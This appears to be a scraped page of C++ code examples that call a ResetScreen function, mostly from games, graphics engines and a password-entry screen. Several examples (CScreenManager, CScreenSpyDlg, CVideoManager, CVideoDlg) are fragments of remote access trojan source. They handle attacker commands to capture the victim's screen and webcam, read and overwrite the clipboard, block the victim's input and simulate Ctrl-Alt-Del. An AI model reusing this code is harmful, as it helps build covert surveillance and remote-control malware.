Exemplo n.º 1
0
/***********************************************************
set screen attributes
***********************************************************/
void OsgHandler::SetScreenAttributes(int resX, int resY, bool fullscreen)
{
	_isFullscreen = fullscreen;
	_resX = resX;
	_resY = resY;
	ResetScreen();
}
Exemplo n.º 2
0
void CScreenSpyDlg::OnReceiveComplete()
{
	m_nCount++;

	switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
	{
	case TOKEN_FIRSTSCREEN:
		DrawFirstScreen();
		break;
	case TOKEN_NEXTSCREEN:
		if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN)
			DrawNextScreenRect();
		else
			DrawNextScreenDiff();
		break;
	case TOKEN_BITMAPINFO:
		ResetScreen();
		break;
	case TOKEN_CLIPBOARD_TEXT:
		UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
		break;
	default:
		// 传输发生异常数据
		return;
	}
}
Exemplo n.º 3
0
/***********************************************************
finalize function
***********************************************************/
void OsgHandler::Finalize()
{
	// write data to configuration file
	{
		ConfigurationManager::GetInstance()->SetDouble("Display.Camera.Distance", _distance);
		ConfigurationManager::GetInstance()->SetDouble("Display.Camera.Zenit", _zenit);
		ConfigurationManager::GetInstance()->SetBool("Display.Camera.Perspective", _isPerspective);


		ConfigurationManager::GetInstance()->SetInt("Display.Screen.ScreenResolutionX", _resX);
		ConfigurationManager::GetInstance()->SetInt("Display.Screen.ScreenResolutionY", _resY);
		ConfigurationManager::GetInstance()->SetBool("Display.Screen.Fullscreen", _isFullscreen);

		ConfigurationManager::GetInstance()->SetBool("Display.ShadowOn", _displayShadow);
	}

	// clean up everything
	ResetScreen();
	_sceneRootNode = NULL;
	_rootNode = NULL;
	_viewer = NULL;
	_translNode =NULL;


	// free screen
	SDL_FreeSurface(m_screen);


    // Shutdown all subsystems
    SDL_Quit();
}
Exemplo n.º 4
0
BookmarkManager::~BookmarkManager()
{
  for_each(m_userMarkLayers.begin(), m_userMarkLayers.end(), DeleteFunctor());
  m_userMarkLayers.clear();

  ClearItems();
  ResetScreen();
}
Exemplo n.º 5
0
/***********************************************************
change screen resolution
***********************************************************/
void OsgHandler::Resize(int resX, int resY)
{
	if(resX != _resX || resY != _resY)
	{
		_resX = resX;
		_resY = resY;

		ResetScreen();
	}
}
Exemplo n.º 6
0
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	try
	{
 		switch (lpBuffer[0])
 		{
		case COMMAND_NEXT:
			// 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回
			NotifyDialogIsOpen();
			break;
		case COMMAND_SCREEN_RESET:
			ResetScreen(*(LPBYTE)&lpBuffer[1]);
			break;
		case COMMAND_ALGORITHM_RESET:
			m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
			m_pScreenSpy->setAlgorithm(m_bAlgorithm);
			break;
		case COMMAND_SCREEN_CTRL_ALT_DEL:
			::SimulateCtrlAltDel();
			break;
		case COMMAND_SCREEN_CONTROL:
			{
				typedef BOOL (WINAPI *BlockInputT)
					(
					BOOL fBlockIt
					);
				BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput");
				// 远程仍然可以操作
				pBlockInput(false);
				ProcessCommand(lpBuffer + 1, nSize - 1);
				pBlockInput(m_bIsBlockInput);
			}
			break;
		case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
			m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
			break;
		case COMMAND_SCREEN_BLANK:
			m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
			break;
		case COMMAND_SCREEN_CAPTURE_LAYER:
			m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
			m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
			break;
		case COMMAND_SCREEN_GET_CLIPBOARD:
			SendLocalClipboard();
			break;
		case COMMAND_SCREEN_SET_CLIPBOARD:
			UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
			break;
		default:
			break;
		}
	}catch(...){}
}
Exemplo n.º 7
0
//---------------------------------
void CScreenEffects::ResetBlendGroup(int blendGroup, bool resetScreen)
{
	if (m_blends.count(blendGroup) != 0)
	{
		CBlendGroup *group = m_blends[blendGroup];
		if (group)
		{
			group->Reset();
		}
	}
	if (resetScreen)
		ResetScreen();
}
Exemplo n.º 8
0
//---------------------------------
void CScreenEffects::ClearBlendGroup(int blendGroup, bool resetScreen)
{
	if (m_blends.count(blendGroup) != 0)
	{
		SBlendGroup *group = m_blends[blendGroup];
		if (group)
		{
			delete group;
			m_blends.erase(m_blends.find(blendGroup));
		}
	}
	if (resetScreen)
		ResetScreen();
}
Exemplo n.º 9
0
//---------------------------------
void CScreenEffects::ResetAllBlendGroups(bool resetScreen)
{
	std::map<int, CBlendGroup* >::iterator it = m_blends.begin();
	while (it != m_blends.end())
	{
		CBlendGroup *cur = (CBlendGroup *)it->second;
		if (cur)
		{
			cur->Reset();
		}
		++it;
	}

	if (resetScreen)
		ResetScreen();
}
Exemplo n.º 10
0
//---------------------------------
void CScreenEffects::ClearAllBlendGroups(bool resetScreen)
{
	std::map<int, SBlendGroup* >::iterator it = m_blends.begin();
	while (it != m_blends.end())
	{
		SBlendGroup *cur = (SBlendGroup *)it->second;
		if (cur)
		{
			delete cur;
		}
		it++;
	}
	m_blends.clear();
	if (resetScreen)
		ResetScreen();
}
Exemplo n.º 11
0
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	try
	{
 		switch (lpBuffer[0])
 		{
		case COMMAND_NEXT:
			NotifyDialogIsOpen();
			break;
		case COMMAND_SCREEN_RESET:
			ResetScreen(*(LPBYTE)&lpBuffer[1]);
			break;
		case COMMAND_ALGORITHM_RESET:
			m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
			m_pScreenSpy->setAlgorithm(m_bAlgorithm);
			break;
		case COMMAND_SCREEN_CTRL_ALT_DEL:
			::SimulateCtrlAltDel();
			break;
		case COMMAND_SCREEN_CONTROL:
			{
				BlockInput(false);
				ProcessMouseAndKeyCommand(lpBuffer + 1, nSize - 1);
				BlockInput(m_bIsBlockInput);
			}
			break;
		case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
			m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
			break;
		case COMMAND_SCREEN_BLANK:
			m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
			break;
		case COMMAND_SCREEN_CAPTURE_LAYER:
			m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
			m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
			break;
		case COMMAND_SCREEN_GET_CLIPBOARD:
			SendLocalClipboard();
			break;
		case COMMAND_SCREEN_SET_CLIPBOARD:
			UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
			break;
		default:
			break;
		}
	}catch(...){}
}
Exemplo n.º 12
0
Screen::Screen(unsigned int x, unsigned int y, bool fullscreen)
{
    fail_ = true;
    ResetScreen(x, y, 32, 0);
    //if (SDL_Init(SDL_INIT_VIDEO) != 0)
    //    return;

    /*auto flag = SDL_FULLSCREEN;
    if(!fullscreen)
        flag = 0;
    ResetScreen(x, y, 32, SDL_OPENGL | SDL_RESIZABLE | flag);
    glMatrixMode(GL_PROJECTION);
    glLoadIdentity();
    
    glOrtho(0, x, y, 0, 0, 1); // TODO: check
    
    glMatrixMode(GL_MODELVIEW);
    glLoadIdentity();

    glEnable(GL_TEXTURE_2D);
  
    glClearColor(0, 0, 0, 0);

    glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
    glEnable(GL_BLEND);
    
    if (!GetParamsHolder().GetParamBool("-novsync"))
    {
#ifdef WIN32
        typedef BOOL (WINAPI *PFNWGLSWAPINTERVALEXTPROC)(int);
        PFNWGLSWAPINTERVALEXTPROC wglSwapInterval = nullptr;

        wglSwapInterval = reinterpret_cast<PFNWGLSWAPINTERVALEXTPROC>(wglGetProcAddress("wglSwapIntervalEXT"));
        if (wglSwapInterval) 
            wglSwapInterval(1);
#endif
    }*/
    fail_ = false;
}
Exemplo n.º 13
0
CVideoDlg::CVideoDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
	: CDialog(CVideoDlg::IDD, pParent)
{
	m_lpbmi			= NULL;
	m_lpScreenDIB	= NULL;
	m_lpCompressDIB	= NULL;
	m_iocpServer	= pIOCPServer;
	m_pContext		= pContext;
	m_pVideoCodec  = NULL;
	m_nCount		= 0;
	m_fccHandler=1129730893;  
	m_aviFile = "";
	sockaddr_in  sockAddr;
	memset(&sockAddr, 0, sizeof(sockAddr));
	int nSockAddrLen = sizeof(sockAddr);
	BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
	m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";


	ResetScreen();

}
Exemplo n.º 14
0
void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	switch (lpBuffer[0])
	{
	case COMMAND_NEXT:
		NotifyDialogIsOpen();
		break;
	case COMMAND_WEBCAM_ENABLECOMPRESS: // 要求启用压缩
		{
			// 如果解码器初始化正常,就启动压缩功能
			if (m_pVideoCodec)
				InterlockedExchange((LPLONG)&m_bIsCompress, true);
		}
		break;
	case COMMAND_WEBCAM_DISABLECOMPRESS:
		InterlockedExchange((LPLONG)&m_bIsCompress, false);
		break;
	case COMMAND_WEBCAM_RESIZE:
		ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5)));
		break;
	default:	
		break;
	}	
}
Exemplo n.º 15
0
/***********************************************************
toggle fullscreen or windowed mode
***********************************************************/
void OsgHandler::ToggleFullScreen()
{
	_isFullscreen = !_isFullscreen;
	ResetScreen();
}
Exemplo n.º 16
0
void UISetPasswordLayout::ProcessEvent( const InputManager::INPUTKEYS evt )
{
    switch(evt)
    {
        case InputManager::UP:
            switch (mPasswordEntryState)
            {
                case 0:
                    mOldPwd += "u";
                    mOldStarString += "*";
                    mOldPwdUIText->ChangeText(mOldStarString);
                    break;
                case 1:
                    mNewPwd += "u";
                    mNewStarString += "*";
                    mNewPwdUIText->ChangeText(mNewStarString);
                    break;
                case 2:
                    mConfirmPwd += "u";
                    mConfirmStarString += "*";
                    mConfirmPwdUIText->ChangeText(mConfirmStarString);
                    break;
            }
            break;
        case InputManager::DOWN:
            switch (mPasswordEntryState)
            {
                case 0:
                    mOldPwd += "d";
                    mOldStarString += "*";
                    mOldPwdUIText->ChangeText(mOldStarString);
                    break;
                case 1:
                    mNewPwd += "d";
                    mNewStarString += "*";
                    mNewPwdUIText->ChangeText(mNewStarString);
                    break;
                case 2:
                    mConfirmPwd += "d";
                    mConfirmStarString += "*";
                    mConfirmPwdUIText->ChangeText(mConfirmStarString);
                    break;
            }
            break;
        case InputManager::LEFT:
            switch (mPasswordEntryState)
            {
                case 0:
                    mOldPwd += "l";
                    mOldStarString += "*";
                    mOldPwdUIText->ChangeText(mOldStarString);
                    break;
                case 1:
                    mNewPwd += "l";
                    mNewStarString += "*";
                    mNewPwdUIText->ChangeText(mNewStarString);
                    break;
                case 2:
                    mConfirmPwd += "l";
                    mConfirmStarString += "*";
                    mConfirmPwdUIText->ChangeText(mConfirmStarString);
                    break;
            }
            break;
        case InputManager::RIGHT:
            switch (mPasswordEntryState)
            {
                case 0:
                    mOldPwd += "r";
                    mOldStarString += "*";
                    mOldPwdUIText->ChangeText(mOldStarString);
                    break;
                case 1:
                    mNewPwd += "r";
                    mNewStarString += "*";
                    mNewPwdUIText->ChangeText(mNewStarString);
                    break;
                case 2:
                    mConfirmPwd += "r";
                    mConfirmStarString += "*";
                    mConfirmPwdUIText->ChangeText(mConfirmStarString);
                    break;
            }
            break;
        case InputManager::CONFIRM:
            switch (mPasswordEntryState)
            {
                case 0:
                    if (SecurityManager::GetInstance()->VerifyPassword( DBEngine::GetInstance()->GetCurrentProfileName(), mOldPwd))
                    {
                        mPasswordEntryState++;
                        mNewPwdUIText->SetVisible(true);
                    }
                    else
                    {
                        mOldPwd = "";
                        mOldStarString = "Old Pwd:";
                        mOldPwdUIText->ChangeText(mOldStarString);
                    }
                    break;
                case 1:
                    mPasswordEntryState++;
                    mConfirmPwdUIText->SetVisible(true);
                    break;
                case 2:
                    if( mConfirmPwd != "" && mConfirmPwd == mNewPwd )
                    {
                        if( mCreatingPassword )
                        {
                            SecurityManager::GetInstance()->AddUser( DBEngine::GetInstance()->GetCurrentProfileName(), mConfirmPwd );
                        }
                        else
                        {
                            const std::string & currentUser = DBEngine::GetInstance()->GetCurrentProfileName();
                            // Not a reference because this will change when we change the user's password below
                            const std::string oldHash = SecurityManager::GetInstance()->GetUserHash( currentUser );

                            SecurityManager::GetInstance()->ChangeUserPassword( currentUser, mConfirmPwd );
                            const std::string newHash = SecurityManager::GetInstance()->GetUserHash( currentUser );
                            char saveFileName[64];

                            SecurityManager::GetInstance()->ChangeUserHash( currentUser, oldHash );
                            for( int i = 1; i < 4; ++i )
                            {
                                if( DBEngine::GetInstance()->IsValidSaveGame( i ) )
                                {
                                    sprintf( saveFileName, "%sSave%03i.xml", currentUser.c_str(), i );
                                    SecurityManager::GetInstance()->DecryptFile( saveFileName, oldHash );
                                    SecurityManager::GetInstance()->EncryptFile( saveFileName, newHash );
                                }
                            }
                            SecurityManager::GetInstance()->ChangeUserHash( currentUser, newHash );
                        }
                        UIManager::GetInstance()->PopLayout();
                        if( mCreatingPassword )
                        {
                            UIManager::GetInstance()->PushLayout("MainMenu");
                        }
                    }
                    else
                    {
                        ResetScreen();
                    }
                    break;
            }
            break;
        case InputManager::CANCEL:
        {
            if( !mCreatingPassword )
            {
                mOldPwd = "";
                mOldStarString = "Old Pwd:";
                mOldPwdUIText->ChangeText(mOldStarString);
            }
            mNewPwd = "";
            mNewStarString = "New Pwd:";
            mNewPwdUIText->SetVisible(false);
            mNewPwdUIText->ChangeText(mNewStarString);
            mConfirmPwd = "";
            mConfirmStarString = "Confirm Pwd:";
            mConfirmPwdUIText->SetVisible(false);
            mConfirmPwdUIText->ChangeText(mConfirmStarString);
            if( !mCreatingPassword )
            {
                mPasswordEntryState = 0;
            }
            else
            {
                mPasswordEntryState = 1;
            }
            UIManager::GetInstance()->PopLayout();
        }
        break;

        default:
            break;
    }


}
Exemplo n.º 17
0
void UISetPasswordLayout::OnLoad()
{
    UILayout::OnLoad();

    ResetScreen();
}
Exemplo n.º 18
0
Screen::Screen(unsigned int x, unsigned int y, bool fullscreen)
{
    fail_ = true;
    ResetScreen(x, y, 32, 0);
    fail_ = false;
}
Exemplo n.º 19
0
/* 
======================================									
Getting input for actions that are the same for "editing mode" and "in game mode"
====================================== 
*/
void Listener::ListenCommon()
{
	// -------------------- Text --------------------

	// Update info-text
	strcpy (mText, mModeName);

	// -------------------- Time measurement --------------------

	mDelta = mI->_render->getFrameTime() / 1000.0f;

	// -------------------- Get mouse position --------------------

	mMouseX = mI->_input->getMouseX();
	mMouseY = mI->_input->getMouseY();

	// -------------------- Update IndieLib cameras  --------------------

	// Update the position of the cameras
	mCameraB->setPosition		(mCameraBX, mCameraBY);
	mCameraN->setPosition		(mCameraNX, mCameraNY);
	mCameraM->setPosition		(mCameraMX, mCameraMY);
	mCameraLayers->setPosition	(mCameraLayersX, mCameraLayersY);

	// Update the zoom factor of the cameras
	mCameraB->setZoom			(mCameraZoomB);
	mCameraN->setZoom			(mCameraZoomN);
	mCameraM->setZoom			(mCameraZoomM);
	mCameraLayers->setZoom		(mCameraZoomLayers);

	// -------------------- Switch between "editing" and "in game" mode when pressing tab --------------------

	if (mI->_input->onKeyRelease (IND_TAB)) 
	{
		if (mMode)				
		{
			strcpy (mModeName, "In game mode");					// Set text		
			if (mBackDropNodeOver) mBackDropNodeOver->GetEntity()->showGridAreas (false);
			mMode = false;
		}
		else
		{
			strcpy (mModeName, "Editing mode  |  ");			// Set text
			mMode = true;
		}
	}

	// -------------------- Save Map --------------------

	if (mI->_input->isKeyPressed (IND_LCTRL) && mI->_input->onKeyPress (IND_S))
		mMap->SaveMap (mResources->GetTilesetPath());

	// -------------------- New Map --------------------

	if (mI->_input->isKeyPressed (IND_LCTRL) && mI->_input->onKeyPress (IND_N))
	{
		char *mTilesetPath = mMap->GetPathToTileset ();
		if (mTilesetPath)
		{
			// We try to load a new tileset
			if (mResources->LoadTileset (mTilesetPath))
			{
				DeleteBackDropBrushes();			// Delete old brushes. TODO-> Check is the tileset is already loaded
				CreateBackDropBrushes();			// Create the new brushes using the new loaded tileset
				mMap->FreeMap();					// Free old map
			}
			else	
				exit (0);							// Just exit if we can't load it: TODO -> Show a message
		}
	}

	// -------------------- Load Map --------------------

	if (mI->_input->isKeyPressed (IND_LCTRL) && mI->_input->onKeyPress (IND_L))
	{
		// Try to load the map
		if (mMap->LoadMap (mResources))
		{
			DeleteBackDropBrushes();				// Delete old brushes. TODO-> Check is the tileset is already loaded
			CreateBackDropBrushes();				// Create the new brushes using the new loaded tileset
		}
		else
			exit (0);								// Just exit if we can't load it: TODO -> Show a message
	}

	// -------------------- Camera position --------------------

	// The camera movement is time dependent, each camera has a different speed

	if (mI->_input->isKeyPressed	(IND_A))
	{
		mCameraBX		-= CAMERA_SPEED_B		* mDelta;
		mCameraNX		-= CAMERA_SPEED_N		* mDelta;
		mCameraMX		-= CAMERA_SPEED_M		* mDelta;
		mCameraLayersX	-= CAMERA_SPEED_LAYERS	* mDelta;
	}

	if (mI->_input->isKeyPressed	(IND_D))
	{
		mCameraBX		+= CAMERA_SPEED_B		* mDelta;
		mCameraNX		+= CAMERA_SPEED_N		* mDelta;
		mCameraMX		+= CAMERA_SPEED_M		* mDelta;
		mCameraLayersX	+= CAMERA_SPEED_LAYERS	* mDelta;
	}

	if (mI->_input->isKeyPressed	(IND_W))
	{
		mCameraBY		-= CAMERA_SPEED_B		* mDelta;
		mCameraNY		-= CAMERA_SPEED_N		* mDelta;
		mCameraMY		-= CAMERA_SPEED_M		* mDelta;
		mCameraLayersY	-= CAMERA_SPEED_LAYERS	* mDelta;
	}

	if (mI->_input->isKeyPressed	(IND_S))
	{
		mCameraBY		+= CAMERA_SPEED_B		* mDelta;
		mCameraNY		+= CAMERA_SPEED_N		* mDelta;
		mCameraMY		+= CAMERA_SPEED_M		* mDelta;
		mCameraLayersY	+= CAMERA_SPEED_LAYERS	* mDelta;
	}

	// -------------------- Camera zoom --------------------

	// Zoom in
	if (mI->_input->isKeyPressed	(IND_KEYUP))		
	{	
		mCameraZoomB		+= (DIST_CAMERA_B		* mDelta) / 1000;
		mCameraZoomN		+= (DIST_CAMERA_N		* mDelta) / 1000;
		mCameraZoomM		+= (DIST_CAMERA_M		* mDelta) / 1000;
		mCameraZoomLayers	+= (DIST_CAMERA_LAYERS	* mDelta) / 1000;	
	}

	// Zoom out
	if (mCameraZoomB > 0) // Avoid too much zoom-out 
	{
		if (mI->_input->isKeyPressed	(IND_KEYDOWN))	
		{
			mCameraZoomB		-= (DIST_CAMERA_B		* mDelta) / 1000;
			mCameraZoomN		-= (DIST_CAMERA_N		* mDelta) / 1000;
			mCameraZoomM		-= (DIST_CAMERA_M		* mDelta) / 1000;
			mCameraZoomLayers	-= (DIST_CAMERA_LAYERS	* mDelta) / 1000;	
		}
	}

	// reset zoom
	if (mI->_input->onKeyPress (IND_R)) ResetZoom ();

	// -------------------- Toggle full screen--------------------

	if (mI->_input->onKeyPress (IND_F1)) 
	{
		//Toggle full screen
		IND_WindowProperties props ("",mScreenWidth,mScreenHeight, 32,0,!mI->_window->isFullScreen());
		props._fullscreen = !mI->_window->isFullScreen();
		mI->_render->reset (props);
	}

	// -------------------- Change screen resolution --------------------

	if (mI->_input->onKeyPress (IND_F2)) 
		if (!ResetScreen (640, 480)) exit (0);

	if (mI->_input->onKeyPress (IND_F3))
		if (!ResetScreen (800, 600)) exit (0);

	if (mI->_input->onKeyPress (IND_F4))
		if (!ResetScreen (1024, 768)) exit (0);

	if (mI->_input->onKeyPress (IND_F5))
		if (!ResetScreen (1440, 900)) exit (0);
}
Exemplo n.º 20
0
/***********************************************************
initialize
***********************************************************/
void OsgHandler::Initialize(const std::string &WindowName, const std::string &DataPath, 
								boost::shared_ptr<EventHandler> evH, GuiHandler * GuiH)
{
	//set event handler
	_evH = evH;

	//set GUI
	_GuiH = GuiH;

	osgDB::setDataFilePathList(DataPath);


	LogHandler::getInstance()->LogToFile("Initializing graphics window...");



    /* Initialize the SDL library */
    if( SDL_Init(SDL_INIT_VIDEO) < 0 )
	{
		LogHandler::getInstance()->LogToFile(std::string("Couldn't initialize SDL video: ") + SDL_GetError());
		return;
    }

    SDL_GL_SetAttribute( SDL_GL_RED_SIZE, 5 );
    SDL_GL_SetAttribute( SDL_GL_GREEN_SIZE, 5 );
    SDL_GL_SetAttribute( SDL_GL_BLUE_SIZE, 5 );
    SDL_GL_SetAttribute( SDL_GL_DEPTH_SIZE, 16 );
    SDL_GL_SetAttribute( SDL_GL_DOUBLEBUFFER, 1 );



	// get data from configuration file
	{
		LogHandler::getInstance()->LogToFile("Initializing camera...");
		bool perspec;
		double camdistance, camzenit;
		ConfigurationManager::GetInstance()->GetDouble("Display.Camera.Distance", camdistance);
		ConfigurationManager::GetInstance()->GetDouble("Display.Camera.Zenit", camzenit);
		ConfigurationManager::GetInstance()->GetBool("Display.Camera.Perspective", perspec);
		SetCameraDistance(camdistance);
		SetCameraZenit(camzenit);
		TogglePerspectiveView(perspec);

		ConfigurationManager::GetInstance()->GetInt("Display.Screen.ScreenResolutionX", _resX);
		ConfigurationManager::GetInstance()->GetInt("Display.Screen.ScreenResolutionY", _resY);
		ConfigurationManager::GetInstance()->GetBool("Display.Screen.Fullscreen", _isFullscreen);

		ConfigurationManager::GetInstance()->GetBool("Display.ShadowOn", _displayShadow);
	}


	// set SDL screen
	LogHandler::getInstance()->LogToFile("Initializing screen display...");
    ResetScreen();
    if ( m_screen == NULL )
	{
		std::string err("Couldn't set the video mode: ");
		std::cout<<err<<SDL_GetError()<<std::endl;
		return;
    }


	// set window caption
	SDL_WM_SetCaption("LBANet",NULL);
	SDL_ShowCursor (SDL_DISABLE);
	SDL_EnableUNICODE (1);
	SDL_EnableKeyRepeat (SDL_DEFAULT_REPEAT_DELAY, SDL_DEFAULT_REPEAT_INTERVAL);

    
	// create the window to draw to.
	_viewer = new osgViewer::Viewer();
   _gw = _viewer->setUpViewerAsEmbeddedInWindow(0, 0, _resX, _resY);




 //   osg::ref_ptr<osg::GraphicsContext::Traits> traits = new osg::GraphicsContext::Traits;
 //   traits->x = 10;
 //   traits->y = 10;
 //   traits->width = _resX;
 //   traits->height = _resY;
 //   traits->windowDecoration = true;
 //   traits->doubleBuffer = true;
 //   traits->sharedContext = 0;
	//traits->windowName = WindowName;
 //   osg::ref_ptr<osg::GraphicsContext> gc = osg::GraphicsContext::createGraphicsContext(traits.get());
 //   osgViewer::GraphicsWindow* gw = dynamic_cast<osgViewer::GraphicsWindow*>(gc.get());
 //   if (!gw)
 //   {
	//	LogHandler::getInstance()->LogToFile("Error: unable to create graphics context.");
 //       return;
 //   }

    //_viewer->getCamera()->setGraphicsContext(gc.get());
    //_viewer->getCamera()->setViewport(0,0,_resX,_resY);

	_viewer->getCamera()->setClearColor(osg::Vec4(0, 0, 0, 1));



	//// create the root node used for camera transformation
	_rootNode = new osg::PositionAttitudeTransform();
	_rootNode->setScale(osg::Vec3d(1, 0.5, 1));
	_rootNode->setAttitude(osg::Quat(osg::DegreesToRadians(-45.0), osg::Vec3(0,1,0)));
	_translNode = new osg::PositionAttitudeTransform();
	_rootNode->addChild(_translNode);

	_viewer->setSceneData(_rootNode);
	_viewer->setCameraManipulator(NULL);



	_clipNode = new osg::ClipNode();
	_clipNode->setStateSetModes(*_translNode->getOrCreateStateSet(),osg::StateAttribute::ON|osg::StateAttribute::PROTECTED|osg::StateAttribute::OVERRIDE);
	_translNode->addChild(_clipNode);




	// add the stats handler
	_viewer->addEventHandler( new osgViewer::StatsHandler() );
	_viewer->addEventHandler( new UserInputsHandler() );

	 // create the windows
	//_viewer->setUpViewOnSingleScreen(0);

    _viewer->realize();
	//_viewer->renderingTraversals();

	// reset camera
	ResetCameraProjectiomMatrix();

	//set default root node
	ResetDisplayTree();

	// put everything in the right place
	LogHandler::getInstance()->LogToFile("Initializing of graphics window done.");
}